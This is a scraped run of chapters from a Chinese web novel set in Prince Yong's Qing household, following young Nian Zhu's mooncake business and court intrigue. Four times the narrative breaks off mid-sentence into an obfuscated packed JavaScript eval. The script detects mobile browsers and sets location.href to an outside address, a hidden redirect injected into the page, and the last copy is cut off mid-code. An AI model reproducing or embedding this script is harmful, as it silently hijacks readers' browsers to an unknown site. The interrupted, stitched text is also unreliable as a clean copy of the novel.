便宜坊是座三层的小楼,三楼为雅间,一二楼为散客接待区,大门左边处还专程设了个打包区,按理说,这样大规模的酒楼别说京城,甚至整个大清都很是少见,但偏偏它们家生意那叫一个好,甚至还有等位区。 因年珠方才已在致美斋用过饭,所以只略点了几道招牌菜。 别的不说,就便宜坊这道焖炉烤鸭味道就不错,皮脆肉嫩、汁水充盈不说,一只烤鸭只要四钱银子而已。 年珠迅速在心里盘算起来,照这个算法,致美斋一只鸭子能买便宜坊的四十五只鸭子,真是鸭比鸭,气死鸭啊! 年珠大手笔赏了店小二二两银子,提出想见见掌柜的。 谁知一刻钟后,便宜坊的东家兼掌柜的就迎了出来。 “两位小贵人怎么想着来便宜坊吃饭?为何没去致美斋?” “你们出门一事,家中长辈可知道?” “这二两银子的赏钱未免太多了点,你们收回去吧!” 年珠看着眼前这位胖胖的掌柜,这人瞧着四十来岁的年纪,看着很是和气。 她顿时对眼前之人生出几分好感来,也明白为何便宜坊能从明朝直至如今还能屹立不倒,虽说无奸不商,但想要生意长久,还得不忘初心。 “敢问您贵姓?” 胖掌柜笑道:“鄙人免贵姓司。” 他并未问年珠是什么来头,毕竟他打小在京城长大,一眼就看出眼前两个小贵人出身皇家。 年珠示意聂乳母将食盒打开,这才道:“司掌柜,这是我们自己瞎捣鼓出来的月饼,您请尝尝看。” 如今临近中秋节,便宜坊也有月饼售卖,司掌柜一开始只以为是两个小孩瞎胡闹呢,谁知刚尝了口乳酪月饼,脸色就变了。 月饼酸甜适中、馅料细腻、味道别致却叫人欲罢不能。 司掌柜面上的笑容褪去,已是满脸严肃。 他又尝了剩下几个口味的月饼,到了最后,他已不敢轻视眼前两个小娃娃。 “敢问两位小贵人这月饼是从何而来?我活到四十岁,还是第一次吃过这样好吃的月饼。” “两位小贵人今日登门便宜坊……想必也不是请我吃月饼这样简单吧?” “司掌柜是个敞亮人,那我也就不必藏着掖着。”年珠摆出一副少年老成的样子,不动声色道,“我今日是想与您做生意,将这月饼方子卖给您。” 说着,她嘴角扬起个弧度来:“您也是从小在美食堆里长大的,这月饼好不好吃,会不会卖得好,您一尝便知。” “我将这月饼方子给您,刨开成本,月饼的盈余分我三成就够了。” 司掌柜是个生意人,自然知道眼前这粉雕玉琢的小娃娃要的不多,却道:“若小姑娘你依法炮制,将这方子卖给别人怎么办?做生意并非儿戏,不如将你家长辈找来……” 他活到这把年纪,还从未与个五岁的小娃娃谈过生意,简直就像过家家似的。 “司掌柜您放心,这点小生意,我家长辈还不至于看在眼里。”年珠可没撒谎,觉罗氏名下光铺子都百余个,“至于将方子卖给别人一事,您就更不必担心了,虽说这月饼方子不难,但旁人若想要一比一复刻,却也不是什么易事。” “若咱们真决定合起伙来做生意,当然要白纸黑字立下字据的。” “况且,我若真想将这月饼方子卖给别人,今日又为何要走这样一趟?” 一旁的弘昼是连连附和:“就是!就是!” 司掌柜也是个聪明人,想着这也是一本万利的生意,更何况,在权贵富人圈子里,致美斋是无人不知,但寻常老百姓却只知道便宜坊。 他沉吟片刻,便答应下来。 他当即就吩咐店小二取来笔墨纸砚。 谁知年珠却早有准备,掏出合同来。 “这是我拟的合同,您看看有没有什么需要修改的。” 司掌柜一目十行看下去,顿时更不敢轻视眼前这小女娃,略修改几笔后,两人就签字画押。 年珠这才将几张月饼方子交给了司掌柜,开心离去。 在合同中,双方已约定,年珠会派一人前去便宜坊进行协助登记,进行一账目统计,计算盈余,直至月饼售卖结束。 至于月饼如何包装,如何售卖,如何定价……这些琐事,年珠是一概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223704|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管的,她只等着月底收钱即可。 司掌柜对于她的全权放手,很是满意,甚至为表尊重,还送了年珠等人出门。 年珠从司掌柜的言行举止中也能看出此人也会是个好的生意伙伴,忙道:“司掌柜留步,您忙的很,不必再送。” “倒是我有件事想请您帮忙。” “你只管开口。”司掌柜家中也是有小孙女的,是越看年珠越觉得喜欢,毕竟长得这样好看,身份还尊贵的小姑娘很少有如此知礼的,“只要我有帮得上忙的地方,绝不推辞。” 年珠道:“您自小在京城长大,身边朋友也多,看能不能帮忙问问有没有合适的田庄。” “地方要大,价钱要便宜。” 司掌柜面上浮现了几分难色:“这要求不免有些强人所难,但我还是帮你问问看……” 年珠高兴道谢。 她原以为自己甚少出门已经够可怜了,没想到弘昼比她更可怜。 方才自诩股东的弘昼在便宜坊连吃带拿的,游走在闹市更像没见过世面的土包子似的,只觉这也好吃那也好吃。 年珠却一心只想着回去雍亲王府。 这不,她刚回去就从年若兰嘴里听到了一消息。 “王爷这次不仅邀请了皇上前去圆明园小住几日,自然也是要邀请一众皇子的,像二十二阿哥、二十三阿哥、二十四阿哥尚且年幼,很得皇上喜欢,想必也是要带去圆明园的。” “王爷的意思是王府中的三个孩子也是要一并带过去的。” 整个雍亲王府上下,四爷也就会与年若兰说说朝中之事。 若换成了弘历,早就明白这是年若兰给他透风,叫他回去好好准备。 正啃着冰糖葫芦的弘昼却是吓得一蹦三尺高,扬声道:“我,我不去!打死我都不去!叫三哥去吧,三哥不是最喜欢露脸吗?叫三哥一个人去就行了!” 他也是运气差,说这话时恰好四爷已行至门口。 年珠急的连忙冲弘昼使眼色。 “五阿哥,在皇上跟前露脸是多少人求都求不来的好事,你为何不愿意?” “你不是今日还与我念叨着整日待在王府无聊,想要多出去走走看看吗?这圆明园可比王府有意思多了。” 可惜,弘昼如今只顾着着急,压根顾不上别的:“在皇玛法跟前能有什么意思?阿玛本就一个不高兴就揍我,我要是在皇玛法跟前犯了错,阿玛铁定要把我屁股打开花!” “我又不是什么猫儿狗儿的,更不是阿玛用来讨好皇玛法的工具!” 年珠偷偷扫了眼门口的四爷,只见四爷脸色一如平常,想来也是被弘昼气习惯了。 她只觉得当爹真难,更觉得就弘昼这德行……没有一顿揍是白挨的。 弘昼压根不像弘历等人对年若兰敬而远之,见年珠不搭话,反而对着控诉起四爷的罪行来,说的那叫一个发自肺腑,就差声泪俱下:“年福晋,您好好劝劝阿玛,先生教导我们说‘子欲养而亲不在’,难道阿玛非要等我不在了,才能发现我很重要吗?” 年珠偷偷朝四爷扫了一眼,果然见四爷平静的脸上抽了抽。 她都知道,子欲养而亲不待可不是这样用的! 18.第 18 章 年珠只能轻轻咳嗽一声,以示提醒。 这下,弘昼总算回过头看了四爷一眼。 不看不知道,一看吓一跳,咋咋呼呼的弘昼顿时又是一蹦三尺高,忙道:“阿玛,那什么,我突然想起来今日功课还没写完,就先回去了……” 四爷压根懒得搭理他。 年珠也连忙告退:“王爷,我就不打扰您与姑姑说话了。” 接下来的事情则是顺理成章,四爷心意已定,发话要将三个儿子都提溜去圆明园,在此之前,他们三个得好好学学规矩,知道什么话该说什么话不该说。 明眼人都听得出来,四爷这话重点是在提醒弘昼。 如今年珠将所有的心思都放在了便宜坊售卖月饼一事上,自然而然没时间去找弘昼玩。 日日学规矩的弘昼倒想要来听雪轩蹭吃蹭喝,但四爷专程派了人下去盯着他,他难得老实了几日。 等着弘昼再来听雪轩时,年珠忍不住夸赞他道:“不错,学了几日规矩的确看起来不一样呢,比从前稳重多了。” “当日你说你不愿去圆明园,我还以为你要闹上几日的,没想到却是一口就答应下来。” 毕竟前几日年年若兰都与她说过,说弘昼这孩子脾气倔的像牛,到时候免不了要她也帮着劝一劝。 她也做好了准备,谁知道这事儿却是没下文了? 如今弘昼却是神秘一笑,道:“你等着瞧就是了,君子报仇十年不晚!” 说着,他又急匆匆道:“阿玛如今派了人寸步不离盯着我,快,把小厨房的好吃的给我装点回去,若叫阿玛知道我偷溜出来,又要找我算账的!” 年珠便派聂乳母去了小厨房一趟。 弘昼一离开,这小厨房宛如蝗虫过境,什么都不剩下。 到了傍晚时候,年珠就收到了苏额木送来的信,说是今日是便宜坊售卖月饼的第一日,生意那叫一个红红火火,排队的人一直排到了胡同口。 司掌柜已派人加班加点制作月饼,但就算他已预料到月饼抢手,却也没想着坐地起价,只将一个月饼定价为六文钱,一盒有八个月饼,一整盒买下来,还能便宜几文钱呢。 可以说京城寻常百姓都能吃得起月饼。 年珠愈发觉得自己找对了人,这月饼若真放到致美斋去卖,少说一个也得一两银子,就算再赚钱,她想着赚的都是些黑心钱,心里也不踏实。 随着便宜坊的生意越来越红火,甚至已到了一饼难求的地步,此时的雍亲王府,气氛却是愈发低沉。 四爷是个细节控,圆明园的大事小事都要亲自过问,重压之下,嘴角起了几个燎泡,旁人见了,自然也跟着担惊受怕起来。 年若兰也跟着日日吃不下饭。 这一日,年珠端着碗山药羊肉汤上前劝道:“姑姑,这几日您吃的少多了,脸色也不如从前,不如先吃点东西吧?” “珠珠,谢谢你,我实在是吃不下。”年若兰摇摇头,面上难掩担忧之色,“明日王爷就要带着三位阿哥前去圆明园,我一想到这里,就替王爷担心。” 说着,她更是长长叹了口气:“从前王爷是单打独斗,如今却要将三位小阿哥也带上,偏偏除了四阿哥,剩下两位阿哥都是不叫人省心的……” 年珠并不知道历史上到底有没有这档子事,但她记得清楚,历史上的康熙帝第一次就是在圆明园见到的弘历,对弘历很是喜欢,继而将弘历带回宫抚养,所以……应该不会出什么岔子吧? “姑姑,您担心也无用,王爷向来谨慎不说,三位阿哥也并非稚童,知道什么时候能胡闹,什么时候不能胡闹。”年珠看着热气腾腾的山药羊肉汤,不急不缓劝道,“是福不是祸,是祸躲不过。” “再说,您难道信不过王爷吗?” 年若兰轻轻摇摇头。 但接下来整整一日,她都没用多少东西。 等着翌日一早,年珠就跟在年若兰身后送四爷等人出门,她这才发现,年若兰这还算是好的,耿格格眼圈红红的,一看就是哭了一夜的样子,就连向来镇定的福晋乌拉那拉氏和钮祜禄格格面上都皆是担忧之色。 乌拉那拉氏也知道四爷这步棋关键至极,强撑道:“王爷放心带三位阿哥去吧,王府里还有妾身在呢……” 谁都知道伴君如伴虎,想当年八阿哥送了皇上两只死的海东青,八阿哥是彻底失宠。 如今十四阿哥等人对四爷是虎视眈眈,保不齐会闹出什么事情来。 整个王府上下,所有人的脸色简直比上坟还难看。 唯有跟在四爷身后的弘昼笑的是龇牙咧嘴,还趁长辈不注意偷偷冲年珠做鬼脸。 很快,四爷就带着三位阿哥上了马车。 昨日年若兰勉强还能用上几口饭,今日起却是吃的比雪球都少。 一日日下来,年珠受到年若兰等人影响,也跟着担心起来,害怕她这只小蝴蝶的出现,改变了大清的历史。 如此过了十来日,就在中秋节前两日,终于有个小太监回来了。 此人名叫张起鳞,是苏培盛的徒弟。 当秦嬷嬷说小鳞子回来时,年珠明显看见年若兰面色一喜,更是忙道:“快,快叫小鳞子进来。” 小鳞子很快小跑进来,打千儿道:“奴才给年侧福晋请安,给年七格格请安。” “不必多礼。”年若兰面上隐隐浮现几分忧虑之色,有些话既想问,却又不敢问,“你快起来……” 年珠却是迫不及待道:“鳞公公,可是王爷叫你回来的?王爷可有什么话要说?” 随着她的话音落下,秦嬷嬷就冲一旁的丫鬟婆子使了个眼色。 众人退下后,小鳞子才低声道:“王爷说了,圆明园一切都好,皇上今日已带着诸位阿哥离开了圆明园,见您莫要担心。” “王爷还说,等王爷进宫参加除夕宴后就回来看您。” 因他还要去正院走一趟,只能长话短说。 年若兰悬着的一颗心这才放了下来,连忙让秦嬷嬷给小鳞子拿赏钱。 等小鳞子走后,年若兰是高兴的眼眶微红,呢喃道:“太好了,真是太好了!” 年珠欣喜之余却并不觉得意外——若四爷连这点事都搞不定,最后哪里能笑到最后? 但她却敏锐发现了一件事:“姑姑,小鳞子是先来的听雪轩,再去正院?” 年若兰点头称是:“想必定是王爷知道我日夜担心他……” 她身侧的秦嬷嬷更是露出与有荣焉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233238|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑容来,一副她家主子得宠她骄傲的模样。 “可是姑姑,这样是不是不合规矩?”年珠知道年若兰有点玻璃心,但有些话她却是不得不说,“福晋是王爷明媒正娶的嫡福晋不说,陪伴王爷二十余年,更是替王爷生下两个儿子,虽说两位表哥已不在人世,但整个内院中,却也数福晋身份最为尊贵。” 她知道姑姑年若兰向来恪守规矩,欣喜之余难免会顾不上这些小事儿,但很多时候,这些小事儿却会叫旁人心里不舒服,甚至会生根发芽长成参天大树。 秦嬷嬷如今也没将年珠当成外人,直道:“格格这说的叫什么话?在雍亲王府,谁不知道福晋与王爷是面和心不和?王爷更知道,偌大一个王府里,只有咱们侧福晋对他一片真心,自然将好消息第一个告诉咱们侧福晋……” 年珠与秦嬷嬷相处这么些日子,知道秦嬷嬷没什么坏心,但怎么说了,就是人不太聪明,眼皮子太浅了点。 等着秦嬷嬷絮絮叨叨说了一通,她压根没接话,只看向年若兰。 “姑姑,我觉得秦嬷嬷说的不对,就算福晋再不得王爷喜欢,却也是王爷发妻,到了除夕宴这一日,只有福晋有资格陪王爷进宫赴宴。” “行走在外头,福晋更是能代表所有雍亲王府的女眷。” “王爷能冷落福晋,但旁人却不能这样做。” 说着,她更是添了一句:“毕竟内院之中的大事小事都是福晋说了算,若福晋想要做点小动作,简直是易如反掌。” 年若兰方才也想明白这件事,毕竟她从小跟在年羹尧身边长大,见识是有的:“珠珠,你说的是,倒是我一时高兴糊涂了。” 她再一想方才秦嬷嬷那番话,是越想越觉得没规矩:“嬷嬷,这听雪轩上下所有的丫鬟婆子太监皆以你为首,你在我跟前都是这般模样,可想而知,在旁人跟前更是倨傲。” “天下没有不透风的墙,福晋哪里会不知道?一来二去,福晋只怕你这般皆是我授意的,如此一来,就算我在福晋跟前再怎么规矩,福晋也是不喜的……” 她这话说到一半就停住了。 她明白了,为何从前她在福晋跟前从未逾越,福晋总是待她淡淡,反而更喜欢钮祜禄格格,想必定是以为她们主仆两个一个唱白脸一个唱红脸,亏得她以前还觉得福晋这是因她得宠而不喜呢! 从前年若兰所有的心思都放在了四爷和故去的福宜身上,想着秦嬷嬷是她的乳母,想着将听雪轩交给她自己也能放心,殊不知已是大错特错。 她看向秦嬷嬷的眼神已微微变了,正色道:“我年幼丧母,是嬷嬷你照看我长大,在我心里,你也是我亲近之人。” “但凡事讲究规矩,以后若再叫我听到你说这些话,我身边也不敢留你。” 顿了顿,她是难得拿出雷霆手段来:“你也与听雪轩上下的丫鬟婆子太监们都说一声,谁要是敢对福晋不敬,或背后乱嚼舌根子、在外头胡言乱语的,直接一顿板子打个半死再拖出去卖了。” 年珠还是第一次见到这样子的姑姑,忍不住在心里替她竖起大拇指来。 很多东西,已在一点点改变。 秦嬷嬷却觉得委屈的不行,噙着泪道:“是,侧福晋,奴婢记下了。” 19.第 19 章 年珠眼见秦嬷嬷落寞离开,甚至背影都比往日落寞,忙跟了出去。 等她寻到秦嬷嬷屋子一看,果然见着秦嬷嬷正坐在窗边抹眼泪。 “嬷嬷,您别哭呀!” “若叫姑姑知道了,定也会跟着伤心的。” 秦嬷嬷一听这话哭的是更厉害,直说她照顾着年若兰长大多么辛苦,打从心底里将年若兰当成亲生女儿一样看待,不曾想年若兰却因这点小事儿就要将她赶走。 “是,是,您说的是。”年珠先是顺毛将秦嬷嬷胡乱摸了一通,这才道,“正因姑姑将您当成亲近之人,所以才会这样说话,人越是在亲近之人跟前,就越是随性,您想想,姑姑对着旁人会说这等话吗?自然是不会的。” “姑姑是什么性子,旁人不清楚,您看着她从小长到大的,您还不清楚?她哪里舍得将您赶走?” 她见秦嬷嬷脸色稍霁,又道:“但正因嬷嬷您是姑姑的乳母,就该设身处地替姑姑着想,传话这等事就像鹦鹉学舌似的,一传十十传百,越传越离谱,谁也不知道有些话传到福晋耳朵里会变成什么样子。” “福晋身份尊贵,乃正黄旗承恩公费扬古之女,更是得皇上赐婚于王爷为妻,福晋的身份地位都摆在这儿。” “若哪日福晋不高兴,真要追查起来,姑姑有王爷护着,可你们这些人该怎么办?福晋想要发落你们,不是轻而易举吗?也就姑姑仁善,甚少为难你们,可身在皇家,在好些主子眼里,有些人的命如同草芥一般……” 秦嬷嬷一门心思想着以后跟着年若兰养老,想着以后老了吃香的喝辣的,找几个小丫鬟服侍自己的,如今一听这话,顿时吓得脸都白了。 翌日一早,不等年若兰等人催促,秦嬷嬷一大早起来就将听雪轩的丫鬟婆子太监喊到了一起,将众人的皮都紧了紧,最后更是道:“……要是叫我知道谁敢对福晋不敬,或在外头胡说八道,我直接几板子下去将人打死拖到乱葬岗去!” 这事儿没几日就传到了福晋耳朵里,福晋听闻这话却是沉吟了好一会,直道:“从前我以为年氏在我跟前的顺从都是装出来的,没想到却是真的,看样子倒是我误会了她。” 当然,这些都是后话了。 过了晌午,三位阿哥就被送回了雍亲王府。 三位阿哥却是神态各异,三阿哥弘时激动不已,四阿哥弘历神色依旧,五阿哥弘昼垂头丧气。 不问不知道,年珠一问,这才知道,更是吓了一大跳。 当日皇上带着五阿哥,七阿哥和几位年纪小的阿哥去了圆明园,一看到圆明园内有人摆摊、有人耕地、有人打鱼……只觉别开生面,很有意思。 特别是当他老人家见圆明园内男耕女织,井然有序,被四爷治理的井井有条,宛如一小村庄时,对四爷是刮目相看,只觉这儿子也不像大阿哥他们说的那样醉心僧佛。 这几日的时间里,皇上还带着几位年幼的阿哥一起下地耕田,泛舟捕鱼,是老少皆欢宜。 因二十四阿哥等人年幼,四爷免不得要将三个儿子拉出来溜溜。 皇上看到仪表堂堂的弘时,见他进退有度,不免夸了几句,三阿哥回来后自是喜笑颜开。 对于两个小萝卜头似的弘历与弘昼,皇上并没怎么留意,谁知弘昼却在这时候蹦了出来,控诉四爷经常一言不合就打他屁股。 但话一出口,弘昼就后悔了,但开弓没有回头箭,他是又怕又悔,边说边嚎啕大哭……他抱着皇上的大腿,哭的那叫一伤心欲绝,谁知皇上却哈哈大笑起来。 皇上更是拍着四爷的肩膀道:“朕原以为你清心寡欲、安贫乐道,没想到你竟也有如此烦恼。” 甚至他老人家还不忘与四爷分享分享自己的育儿经。 可以说皇上这次能够满意而归,泛泛平庸的弘时、聪明沉稳的弘历、顽劣跳脱的弘昼,这三个孩子起到了画龙点睛的作用。 年珠听说这件事后,却是笑的乐不可支:“怪不得呢,怪不得五阿哥听说要去圆明园,一开始不乐意,后来答应的那样干脆利落,原来打着这样一鬼主意。” “皇上是聪明人,未必不知道这次圆明园之行是王爷有意为之,但有五阿哥他们这一闹腾,皇上对王爷的了解更是透彻。” “这对王爷来说,是百利而无一害。” 毕竟都到了这个时候,谁要是还藏着掖着,故意装出一副“皇阿玛,我真的不想当太子”的样子,那才真是蠢不可言,四爷是借着这次圆明园之行明明白白告诉皇上——我愿替皇阿玛分忧,若皇阿玛愿立我为太子,我绝不会丢皇阿玛的脸,若皇阿玛不立我为太子,我也甘心为一贤王。 年若兰颇为赞许点点头,笑道:“是啊,这可是天大的好事。” 她心里的大石头终于落了地,这才有了胃口。 年珠想着弘昼定是难逃一罚,便叫小厨房做了几道小菜送了过去。 谁知没多久聂乳母就提着食盒回来了:“格格,王爷吩咐禁五阿哥的足,不仅五阿哥不能出来,若无王爷允许,谁都不能进去探望五阿哥,就连耿格格都不例外。” 年珠道:“想必禁足一事,不仅五阿哥早已习惯,这王府里的旁人也是见怪不怪。” “正好也叫他长长记性,叫他知道在皇上跟前可不是能胡乱说话的。” 话虽如此,等她再见到心情不错的四爷时,还是多问了一句:“……王爷,您虽禁了五阿哥的足,但吃食可能送进去?今日可是中秋节,不如差人送几个月饼给五阿哥吧?” “今日本是阖家团圆的日子,五阿哥一个人孤零零的也就罢了,若连个月饼都没有,岂不更是可怜?” 四爷才从宫里出来,一回来便直奔听雪轩而来。 如今他已换上家常衣裳,坐在炕上,浑身上下都带着随性,纵然脸色一如从前,但明眼人却能看出他心情很是不错。 “好,既然你都开口了,苏培盛,那就差人给弘昼送几个月饼过去吧。” 苏培盛连声应是,忙下去安排。 年珠瞧了眼外头的皎月,默不作声咬着月饼。 她顿时明白为何秦嬷嬷等人为何会自视甚高,这与四爷是密不可分,四爷一回王府,就直奔听雪轩而来,换成谁谁能不张狂?四爷这人真是,喜欢谁恨不得将人放在心尖上! 她连吃三个月饼,见年若兰已陪四爷喝上茶,整个屋内萦绕着徽州毛尖的香气,想必赏月这活动一时半会结束不了,便开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240542|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口道:“王爷,姑姑,我先下去了,就不打扰你们说话……” 也不知是四爷喝多了酒的缘故,还是心情大好的缘故,四爷却开口道:“不必,坐下一起赏月吧。” 年珠只得又坐了下来,心想:您也不嫌我这电灯泡比月亮还夺目?您不嫌弃,我倒想回去舒舒服服躺着啊! 四爷似瞧见这小丫头片子朝自己翻了个白眼,只觉好笑:“你叫年珠?我听你姑姑说这阿玛得了一串儿子后才有了你,所以给你取了这名字?” “那你阿玛岂不是很喜欢你?我记得当初年羹尧就是京城赫赫有名的美男子,要不然也不能娶到纳兰氏为妻,仔细看来,你模样也有几分像他。” “你上次见到你阿玛是什么时候?” “你可想他?” …… 年珠只觉,醉酒后的四爷和天底下大多数中年男人一个德行,话可真多啊! 但她还是拿出对待老板的架势对四爷,仔细斟酌、小心措辞。 后来还是年若兰察觉她有些不耐烦,这才开口道:“王爷,妾身有件事想要与你商量一二……” 随着秦嬷嬷等人都退了下去,年珠这才得以脱身。 年珠隐约猜到年若兰会与四爷说些什么。 果不其然,翌日一早,她就听说了消息。 昨夜,不仅四爷离开了听雪轩去了正院,更是罚了小鳞子半年的月钱,对外的说辞是小鳞子不敬福晋乌拉那拉氏,至于小鳞子到底是不是个背锅的,自然没人在意? 倒是经此一事,王府上下所有人对乌拉那拉氏敬重了不少。 一过了中秋节,天气就骤然冷了起来。 年珠这日照常准备出府去铺子里转转,却在半道被苏培盛拦了下来。 “小格格,王爷有请呢。” 年珠只能前去四爷外院书房一趟。 她过去时,书房里头刚好走出几个幕僚,一个个五六十岁的年纪,以至于她莫名觉得自己好像也长大了。 当她坐在四爷对侧的炕上,接过四爷递过来的茶盅,只觉怪怪的——四爷好像没把她当成一五岁的小娃娃看。 下一刻,她更是听到四爷道:“我听你姑姑说你近来入股了便宜坊?还要便宜坊的掌柜给你寻摸一个田庄?” “是。”年珠道。 四爷看向她,道:“我在良乡有个近百亩的田庄,良乡位于京城西南,是京城通往各地的重要之地,交通便利,不管你们想做什么生意,将物件运往何处都很方便。” 四爷将案几上的地契推向她,又道:“现在,我将这个田庄送给你了。” 年珠曾听司掌柜说起过这个田庄,说这个田庄已空置多年,并不知道背后主子是谁。 当时她并未将这件事放在心上,毕竟良乡百亩田庄,少说也要六七万两银子,有银子都难买到,可不是她能随便肖想的。 如今,她按捺住心中的狂喜:“王爷,好端端的,您为何要送给我一个田庄?这东西,太贵重了点吧……” 四爷道:“无妨,不过小小薄礼罢了。” 这正是他要年珠为他所用、为他出谋划策的敲门礼,比起年珠的聪明才智来,自然只能算是薄礼! 20.第 20 章 年珠自听出了四爷话中的意思,顿时是心中狂喜。 她这些日子一直在绞尽脑汁,想着如何才能顺利抱上四爷大腿,如今却是得来全不费工夫! 但她并没有答应的太快,毕竟这等事换成任何一个五岁的小女孩,都会觉得匪夷所思的。 自四爷第一次见年珠,就没将她当成一寻常小丫头片子,只觉是自己的“诚意”不够:“想必以你的聪明才智,已知道京城之中是什么局势,我与十四弟一党是势同水火,若来日十四弟登基,后果是不堪设想。” “早在你姑姑嫁给我的第一日,你们年家就与我绑在了一起,来日十四弟登基,以如今局势想要年家也就勉强自保,想要长盛不衰,却是难事。” 顿了顿,他又道:“你阿玛年羹尧如今身在四川,如今与我常有书信来往,更是暗中已在替我筹划……” 年珠面上没什么表情,一点不觉得意外。 这不是大家都心知肚明的事情吗? 她仍沉浸在那良乡百亩田庄即将属于自己的喜悦中,要是她身后有尾巴,那尾巴定止不住摇了起来。 四爷见年珠没有接话,一时间不明白她到底在想些什么,是自己的诚意不足,还是这话说的不够明白? 如今屋内也没有旁人,四爷索性开门见山道:“珠珠,你还想要什么?” “我对身边人一向不薄,但凡你开口,只要我有,就绝不会拒绝。” 年珠终于等到了这一刻,却不急不缓开口道:“我实在受不起王爷这话,那良乡的田庄已十分贵重,只是……” 顿了顿,她才看向四爷的眼睛,面上是前所未有的郑重:“只是我还有一不情之请。” “阿玛虽与王爷交好,但他少年成名、性情张狂,来日若王爷登上皇位,难免行事会愈发狂妄。” “若真有那一日,还请王爷看在我们父女两人替王爷殚精竭虑、出谋划策的份上,饶我阿玛一命。” 她虽觉得年羹尧不是个好丈夫,但在她心里却是个好阿玛,得了荔枝会记得她,每每回京更是会将她高高抛在天上,逗的她哈哈直笑。 四爷道:“好,一言为定。” 年珠却有些不放心,忧心忡忡道:“王爷,来日……您不会反悔吧?” “不过小小一要求,我既答应了你,就没有反悔的道理。”四爷被她逗笑了,道,“难不成还要我签字画押?” 年珠连声称不敢,将地契收下后,高高兴兴就离开了外院书房。 殊不知,不远处的香樟树后有个小太监瞧见年珠出来后,飞快的朝蔷薇院方向跑去。 这人正是李侧福晋安排的人。 虽说王爷已许久没来过蔷薇院,但她知道儿子在圆明园被皇上夸赞两句后,那叫一容光焕发,不止一次私下与丫鬟婆子道:“叫我说,那年氏就算再得宠又有什么用?来日还不是要看我儿子的脸色行事?” “弘时虽不得王爷喜欢,却比弘历、弘昼大上好几岁,皇上更是慧眼如炬,一眼就瞧出弘时并非寻常之辈。” “只怕过不了多久,顶多等着弘时成亲后,就是要被立为世子的,以后偌大一个王府都是弘时说了算,也就是我说了算,什么福晋,什么年氏,都得在我手底下讨生活!” 可没几日,李侧福晋就发现了不对劲——四爷好像对弘时还是一如从前,并未表现出明显的偏爱。 李侧福晋急了,想着到手的鸭子不能飞了,便日日派人守在外院书房,有个什么风吹草动就要禀告她一声。 当她听说年珠从外院书房出来后,是百思不得其解。 倒是她身边的嬷嬷道:“侧福晋,王爷不会瞧上这位年七格格了吧?” 她蠢,她身边的人也没几个聪明的。 但今日李侧福晋却是脑袋难得灵光一回,没好气道:“你是魔怔了不成?竟说起胡话来!若年珠今年十五岁还有这个可能,她今年只有五岁呀!” “若福晋所出的弘晖还在世,只怕孩子都比年珠大!” 说着,她沉吟道:“更何况王爷如今与那狐媚子好的恨不得穿同一条裤子,这别的人,哪里能入得了王爷的眼?” 她觉得自己真真是聪明过人,仔细一想,是越想越不对劲。 但她本事有限,自打听不到四爷到底与年珠说了些什么,思来想去,想着近日来弘昼与年珠走的很近,只觉得四爷是不是想将年珠许给弘昼。 这念头一冒出来,就将李侧福晋吓了一跳:“王爷对年氏那狐媚子好的不行,若真叫年珠与弘昼暗中定下亲事,年氏那狐媚子枕头风一吹,王爷立弘昼为世子怎么办?” “皇上政务繁忙,也不能整日盯着咱们雍亲王府的这些事,更不能日日督办着儿子立世子一事,到时候若真叫弘昼将弘时的世子之位抢走了怎么办?” “不行,不行,肯定不行!” 接下来几日,李侧福晋那叫一着急上火,急的后槽牙都疼了起来。 她只觉皇天不负有心人,想了几日,真叫她想出一好主意来。 这日一大早,李侧福晋就叫人打开库房、备上厚礼,直奔听雪轩而去。 年珠听到她过来的消息,就宛如正欲打架的公鸡,没好气道:“她来做什么?姑姑,您莫要害怕,待会儿我就陪在您身边,若李侧福晋说些什么话,您莫要作声,我来说。” “反正我在雍亲王府住不了多久就要回去的,就算李侧福晋看我不顺眼,也拿我没办法。” 年若兰是哭笑不得:“好,好,姑姑听你的。” 很快,李侧福晋就满脸笑容走了进来。 比起从前的横眉冷对,眼睛不是眼睛,鼻子不是鼻子的,今日她眼角眉梢都带着笑:“呀,年妹妹,你又在给王爷做衣裳了?叫我说,你身子向来不好,这等活还是交给下头的人做,你身子要紧……” 年珠下意识朝窗外扫了一眼。 今日太阳也没从西边出来呀,怎么李侧福晋像变了个人似的?难不成这李侧福晋吃错药了? 她还未想明白呢,就听见年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 